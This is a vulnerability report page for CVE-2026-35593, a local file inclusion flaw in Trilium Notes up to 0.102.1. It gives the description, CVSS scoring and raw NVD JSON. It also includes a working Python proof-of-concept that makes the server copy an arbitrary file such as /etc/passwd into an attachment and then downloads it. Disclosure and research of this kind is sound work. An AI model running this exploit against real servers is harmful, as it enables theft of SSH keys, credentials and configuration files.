Security Vulnerability Report
中文
CVE-2026-35593 CVSS 6.8 MEDIUM

CVE-2026-35593

Published: 2026-05-20 00:16:37
Last Modified: 2026-05-20 14:16:51

Description

Trilium Notes is an open-source, cross-platform hierarchical note taking application for building large personal knowledge bases. Versions 0.102.1 and prior are vulnerable to Local File Inclusion, allowing an authenticated attacker to read sensitive arbitrary files from the server's filesystem. The uploadModifiedFileToAttachment function, which is called when a POST request is received to /api/attachments/{attachmentId}/upload-modified-file, replaces the content of the attachment with the content from another file (whose path is provided in filePath of Request body). After which the content of the attachment can be viewed at /api/attachments/{attachmentId}/download. This exposes sensitive system files such as SSH keys, credentials, configs, and OS files, potentially leading to remote code execution and compromise of co-hosted applications. This issue has been fixed in version 0.102.2.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Trilium Notes <= 0.102.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL and credentials TARGET_URL = "http://localhost:8080" ATTACHMENT_ID = "-xxxxxx" # Replace with a valid attachment ID SESSION_TOKEN = "your_session_cookie" # Authenticated session # The file to read on the server TARGET_FILE = "/etc/passwd" # Headers headers = { "Cookie": f"trilium.sid={SESSION_TOKEN}", "Content-Type": "application/json" } # Step 1: Upload modified file (trigger LFI) payload = { "filePath": TARGET_FILE } upload_url = f"{TARGET_URL}/api/attachments/{ATTACHMENT_ID}/upload-modified-file" response = requests.post(upload_url, json=payload, headers=headers) if response.status_code == 200: print(f"[+] Successfully triggered file replacement for {TARGET_FILE}") # Step 2: Download the attachment to read the file content download_url = f"{TARGET_URL}/api/attachments/{ATTACHMENT_ID}/download" file_response = requests.get(download_url, headers=headers) if file_response.status_code == 200: print("[+] File content retrieved:") print(file_response.text) else: print(f"[-] Failed to download file. Status: {file_response.status_code}") else: print(f"[-] Failed to upload. Status: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35593", "sourceIdentifier": "[email protected]", "published": "2026-05-20T00:16:37.433", "lastModified": "2026-05-20T14:16:50.653", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Trilium Notes is an open-source, cross-platform hierarchical note taking application for building large personal knowledge bases. Versions 0.102.1 and prior are vulnerable to Local File Inclusion, allowing an authenticated attacker to read sensitive arbitrary files from the server's filesystem. The uploadModifiedFileToAttachment function, which is called when a POST request is received to /api/attachments/{attachmentId}/upload-modified-file, replaces the content of the attachment with the content from another file (whose path is provided in filePath of Request body). After which the content of the attachment can be viewed at /api/attachments/{attachmentId}/download. This exposes sensitive system files such as SSH keys, credentials, configs, and OS files, potentially leading to remote code execution and compromise of co-hosted applications. This issue has been fixed in version 0.102.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-73"}]}], "references": [{"url": "https://github.com/TriliumNext/Trilium/releases/tag/v0.102.2", "source": "[email protected]"}, {"url": "https://github.com/TriliumNext/Trilium/security/advisories/GHSA-hf4x-22rg-pjjp", "source": "[email protected]"}, {"url": "https://github.com/TriliumNext/Trilium/security/advisories/GHSA-hf4x-22rg-pjjp", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}